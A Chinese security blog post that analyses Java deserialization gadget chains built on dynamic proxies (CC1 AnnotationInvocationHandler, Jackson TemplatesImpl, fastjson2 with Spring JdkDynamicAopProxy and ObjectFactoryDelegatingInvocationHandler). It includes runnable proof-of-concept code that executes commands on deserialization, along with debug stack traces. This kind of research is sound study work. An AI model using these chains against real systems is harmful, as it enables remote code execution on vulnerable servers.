前言
对于动态代理,我记得在学习 cc1 时接触过一次,之后就没怎么再深入研究过。实际上,动态代理的应用非常广泛,很多关键时刻都会用到它。正好趁这个机会重新学习一下。还记得刚入门 Java 时,动态代理让我花了不少时间,虽然那时感觉它非常抽象。
CC1 动态代理初探
首先,让我们看一下调用链:
AnnotationInvocationHan.readObject → proxy.entrySet → AnnotationInvocationHan.invoke → LazyMap.get → chainedTransformer.transformer...
POC 示例
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC1lazy {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
// 定义一系列 Transformer 对象,构建变换链
Transformer[] transformers = new Transformer[] {
// 返回 Runtime.class
new ConstantTransformer(Runtime.class),
// 通过反射调用 getRuntime() 获取 Runtime 对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 通过反射调用 invoke() 方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 通过反射调用 exec() 启动计算器
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 将多个 Transformer 对象组成一个变换链
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hash = new HashMap<>();
// 使用变换链装饰 HashMap,生成新的 Map
Map decorate = LazyMap.decorate(hash, chainedTransformer);
// 通过反射获取 AnnotationInvocationHandler 的构造方法
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法可访问
constructor.setAccessible(true);
// 通过反射创建 AnnotationInvocationHandler 的代理对象,并设置其调用委托给 decorate
InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
// 创建 Map 接口的代理对象 proxyInstance,并设置其调用处理器为 instance
Map proxyInstance = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, instance);
// 再次通过反射创建代理对象
Object o = constructor.newInstance(Override.class, proxyInstance);
serialize(o);
unserialize("1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
这里我们主要分析了动态代理部分。
目标: 寻找一个能够触发 get 方法的地方。
我们找到了 AnnotationInvocationHandler 的 invoke 方法:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
只要能够控制 memberValues,就可以成功触发 invoke 方法。
由于 AnnotationInvocationHandler 实现了 InvocationHandler 接口,这意味着它本身可以作为代理对象。通过创建动态代理并将 AnnotationInvocationHandler 作为调用处理器传入,我们就能够成功触发 invoke 方法。
动态代理的创建过程
通过 Proxy 创建代理对象,并将我们构造的 AnnotationInvocationHandler 对象作为调用处理器传入。由于 AnnotationInvocationHandler.readObject() 是反序列化的入口,我们需要通过该类包装代理对象,并重新序列化。在反序列化时,memberValues.entrySet() 方法会被调用,我们希望 memberValues 内部的代理对象触发 invoke() 方法,从而进入我们构建的链条。
调试调用栈
invoke:57, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy1 (com.sun.proxy)
readObject:444, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:67, CC1lazy (cc1)
main:57, CC1lazy (cc1)
在调用 public abstract java.util.Set java.util.Map.entrySet() 时,触发了动态代理,并进而调用了代理的 invoke() 方法,开始执行我们的链条。
JdkDynamicAopProxy 代理绕过
虽然前面提到的代理在我们的链条中经常出现,但它仍然有不少限制,尤其是在 JDK 的高版本中,很多问题得到了修改和加强。
接下来我们来看一下这种动态代理类。
如何找到这种代理类呢?
其实方法很简单,只需要实现我们目标的接口,然后我们就可以找到这些接口的实现类。
但是限制就是需要我们存在依赖
网上找了一下,发现以前见过,网上公开的利用就是在 jackson 原生反序列化的时候
参考https://xz.aliyun.com/t/12846?time\_\_1311=GqGxuDcDRGexlxx2DU27oDkmD8SGCmzmeD
是为了解决 jackson 原生不稳定的痛点
正常的调用链
package org.jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class EXP {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "xxx");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
但是会爆错
Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
爆指针的问题是因为在调用 getter 方法的时候,是根据 props 的顺序来决定的
protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider)
throws IOException
{
final BeanPropertyWriter[] props;
if (_filteredProps != null && provider.getActiveView() != null) {
props = _filteredProps;
} else {
props = _props;
}
int i = 0;
try {
for (final int len = props.length; i < len; ++i) {
BeanPropertyWriter prop = props[i];
if (prop != null) { // can have nulls in filtered list
prop.serializeAsField(bean, gen, provider);
}
}
if (_anyGetterWriter != null) {
_anyGetterWriter.getAndSerialize(bean, gen, provider);
}
} catch (Exception e) {
String name = (i == props.length) ? "[anySetter]" : props[i].getName();
wrapAndThrow(provider, e, bean, name);
} catch (StackOverflowError e) {
...
}
}
顺序不固定
transletindex
stylesheetDOM
outputProperties
当 stylesheetDOM 在 outputProperties 之前,所以 getStylesheetDOM 会先于 getOutputProperties 触发。当 getStylesheetDOM 方法先被触发时,由于 _sdom 成员为空,会导致空指针报错,反序列化攻击失败。
所以我们利用 JdkDynamicAopProxy 类来代理就是为了解决不稳定痛点,我们看到它的 invoke 方法
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object oldProxy = null;
boolean setProxyContext = false;
TargetSource targetSource = this.advised.targetSource;
Object target = null;
Object retVal;
try {
if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
Boolean var18 = this.equals(args[0]);
return var18;
}
if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
Integer var17 = this.hashCode();
return var17;
}
if (method.getDeclaringClass() == DecoratingProxy.class) {
Class var16 = AopProxyUtils.ultimateTargetClass(this.advised);
return var16;
}
if (this.advised.opaque || !method.getDeclaringClass().isInterface() || !method.getDeclaringClass().isAssignableFrom(Advised.class)) {
if (this.advised.exposeProxy) {
oldProxy = AopContext.setCurrentProxy(proxy);
setProxyContext = true;
}
target = targetSource.getTarget();
Class<?> targetClass = target != null ? target.getClass() : null;
List chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
if (chain.isEmpty()) {
Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
} else {
MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
}
Class<?> returnType = method.getReturnType();
if (retVal != null && retVal == target && returnType != Object.class && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
retVal = proxy;
} else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
}
Object var12 = retVal;
return var12;
}
retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
} finally {
if (target != null && !targetSource.isStatic()) {
targetSource.releaseTarget(target);
}
if (setProxyContext) {
AopContext.setCurrentProxy(oldProxy);
}
}
return retVal;
}
最后会返回一个 retVal 对象,而这个对象是
AopUtils.invokeJoinpointUsingReflection(this.advised, method, args)
得来的,跟进 invokeJoinpointUsingReflection 方法
可以看到可以反射调用方法
而 advised 成员是一个 org.springframework.aop.framework.AdvisedSupport 类型的对象,它的 targetSource 成员中保存了 JdkDynamicAopProxy 类代理的接口的实现类。
调用思路
1. 构造一个 `JdkDynamicAopProxy` 类型的对象,将 `TemplatesImpl` 类型的对象设置为 `targetSource`
2. 使用这个 `JdkDynamicAopProxy` 类型的对象构造一个代理类,代理 `javax.xml.transform.Templates` 接口
3. JSON 序列化库只能从这个 `JdkDynamicAopProxy` 类型的对象上找到 `getOutputProperties` 方法
4. 通过代理类的 `invoke` 机制,触发 `TemplatesImpl#getOutputProperties` 方法,实现恶意类加载
我们举一反三,使用在 fastjson 的原生反序列化中
替代 TemplatesImpl 并不容易,主要是因为要么所需的依赖库较为冷门,或者对版本的要求较为严格,要么是替代品的使用方式并不直观或不够灵活。
因此,换一种思路,我尝试在 JsonArray 和 TemplatesImpl 之间引入一个“中间层”,作为一个连接桥梁,这样既避免了直接替换 TemplatesImpl 的复杂性,又能够实现所需的功能
这里我们调试一下文章给出的代码
public class Fastjson4_JdkDynamicAopProxy {
public Object getObject (String cmd) throws Exception {
Object node1 = TemplatesImplNode.makeGadget(cmd);
Object node2 = JdkDynamicAopProxyNode.makeGadget(node1);
Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
new Class[]{Templates.class}, (InvocationHandler)node2);
Object node3 = JsonArrayNode.makeGadget(2,proxy);
Object node4 = BadAttrValExeNode.makeGadget(node3);
Object[] array = new Object[]{node1,node4};
Object node5 = HashMapNode.makeGadget(array);
return node5;
}
public static void main(String[] args) throws Exception {
Object object = new Fastjson4_JdkDynamicAopProxy().getObject(Util.getDefaultTestCmd());
Util.runGadgets(object);
}
}
可以很直观的看到是代理了 Templates 接口,在代理类的构造中
public class JdkDynamicAopProxyNode {
public static Object makeGadget(Object gadget) throws Exception {
AdvisedSupport as = new AdvisedSupport();
as.setTargetSource(new SingletonTargetSource(gadget));
return Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as);
}
}
我们构造的恶意 TemplatesImpl 作为 TargetSource
因为代理的是 Templates
可以看到是只有一个 getter 方法,所以调用栈如下
invoke:160, JdkDynamicAopProxy (org.springframework.aop.framework)
getOutputProperties:-1, $Proxy1 (com.sun.proxy)
write:-1, OWG_1_1_$Proxy1 (com.alibaba.fastjson2.writer)
write:3124, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:914, JSONArray (com.alibaba.fastjson2)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:53, Util (common)
runGadgets:38, Util (common)
main:24, Fastjson4_JdkDynamicAopProxy
只会调用getOutputProperties 方法,触发我们的 invoke
然后调用到我们 TemplatesImpl#getOutputProperties 方法成功实现中间过渡
ObjectFactoryDelegatingInvocationHandler 绕过
还是一样方法
首先主体逻辑还是和上面一样的,核心还是代理 Templates 接口
我们看到 invoke 方法
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
switch (method.getName()) {
case "equals":
return proxy == args[0];
case "hashCode":
return System.identityHashCode(proxy);
case "toString":
return this.objectFactory.toString();
default:
try {
return method.invoke(this.objectFactory.getObject(), args);
} catch (InvocationTargetException var6) {
throw var6.getTargetException();
}
}
}
可以看到逻辑,还是一样的,不过区别在于我们的对象是 this.objectFactory.getObject()获取的了
目的就是需要它返回我们的 teamplatesImpl 对象
首先我们寻找继承了 ObjectFactory 的类
也不太多
找了一下确实没有能够利用的。这里师傅的想法是
用 JSONObject 代理 ObjectFactoryDelegatingInvocationHandler 中的 objectFactory 属性,返回 teamplatesImpl
说真的,简直很妙,我们看到 invoke 方法:
没想到它也是一个代理类
调试分析一下
invoke:292, AutowireUtils$ObjectFactoryDelegatingInvocationHandler (org.springframework.beans.factory.support)
getOutputProperties:-1, $Proxy2 (com.sun.proxy)
write:-1, OWG_1_1_$Proxy2 (com.alibaba.fastjson2.writer)
write:3124, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:914, JSONArray (com.alibaba.fastjson2)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:53, Util (common)
runGadgets:38, Util (common)
main:33, Fastjson4_ObjectFactoryDelegatingInvocationHandler
然后调用 JSONObject 的 invoke 方法
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
int parameterCount = method.getParameterCount();
Class<?> returnType = method.getReturnType();
if (parameterCount == 1) {
if ("equals".equals(methodName)) {
return this.equals(args[0]);
} else {
Class proxyInterface = null;
Class<?>[] interfaces = proxy.getClass().getInterfaces();
if (interfaces.length == 1) {
proxyInterface = interfaces[0];
}
if (returnType != Void.TYPE && returnType != proxyInterface) {
throw new JSONException("This method '" + methodName + "' is not a setter");
} else {
String name = this.getJSONFieldName(method);
if (name == null) {
if (!methodName.startsWith("set")) {
throw new JSONException("This method '" + methodName + "' is not a setter");
}
name = methodName.substring(3);
if (name.length() == 0) {
throw new JSONException("This method '" + methodName + "' is an illegal setter");
}
name = Character.toLowerCase(name.charAt(0)) + name.substring(1);
}
this.put(name, args[0]);
return returnType != Void.TYPE ? proxy : null;
}
}
} else if (parameterCount == 0) {
if (returnType == Void.TYPE) {
throw new JSONException("This method '" + methodName + "' is not a getter");
} else {
String name = this.getJSONFieldName(method);
Object value;
if (name == null) {
boolean with = false;
int prefix;
if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) && methodName.length() > (prefix = with ? 4 : 3)) {
char[] chars = new char[methodName.length() - prefix];
methodName.getChars(prefix, methodName.length(), chars, 0);
if (chars[0] >= 'A' && chars[0] <= 'Z') {
chars[0] = (char)(chars[0] + 32);
}
String fieldName = new String(chars);
if (fieldName.isEmpty()) {
throw new JSONException("This method '" + methodName + "' is an illegal getter");
}
value = this.get(fieldName);
if (value == null) {
return null;
}
} else {
if (!methodName.startsWith("is")) {
if ("hashCode".equals(methodName)) {
return this.hashCode();
}
if ("toString".equals(methodName)) {
return this.toString();
}
if (methodName.startsWith("entrySet")) {
return this.entrySet();
}
if ("size".equals(methodName)) {
return this.size();
}
Class<?> declaringClass = method.getDeclaringClass();
if (declaringClass.isInterface() && !Modifier.isAbstract(method.getModifiers()) && !JDKUtils.ANDROID && !JDKUtils.GRAAL) {
MethodHandles.Lookup lookup = JDKUtils.trustedLookup(declaringClass);
MethodHandle methodHandle = lookup.findSpecial(declaringClass, method.getName(), MethodType.methodType(returnType), declaringClass);
return methodHandle.invoke(proxy);
}
throw new JSONException("This method '" + methodName + "' is not a getter");
}
if ("isEmpty".equals(methodName)) {
value = this.get("empty");
if (value == null) {
return this.isEmpty();
}
} else {
name = methodName.substring(2);
if (name.isEmpty()) {
throw new JSONException("This method '" + methodName + "' is an illegal getter");
}
name = Character.toLowerCase(name.charAt(0)) + name.substring(1);
value = this.get(name);
if (value == null) {
return false;
}
}
}
} else {
value = this.get(name);
if (value == null) {
return null;
}
}
if (!returnType.isInstance(value)) {
Function typeConvert = JSONFactory.getDefaultObjectReaderProvider().getTypeConvert(value.getClass(), method.getGenericReturnType());
if (typeConvert != null) {
value = typeConvert.apply(value);
}
}
return value;
}
} else {
throw new UnsupportedOperationException(method.toGenericString());
}
}
最后返回的是 value,我们主要关心 value
因为我们调用的方法是 getObejct\
会进入如下的 if
if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) && methodName.length() > (prefix = with ? 4 : 3)) {
char[] chars = new char[methodName.length() - prefix];
methodName.getChars(prefix, methodName.length(), chars, 0);
if (chars[0] >= 'A' && chars[0] <= 'Z') {
chars[0] = (char)(chars[0] + 32);
}
String fieldName = new String(chars);
if (fieldName.isEmpty()) {
throw new JSONException("This method '" + methodName + "' is an illegal getter");
}
value = this.get(fieldName);
if (value == null) {
return null;
}
可以看出来是取出了我们的对象,成功达成目的
最后成功达成目的





评论 (0)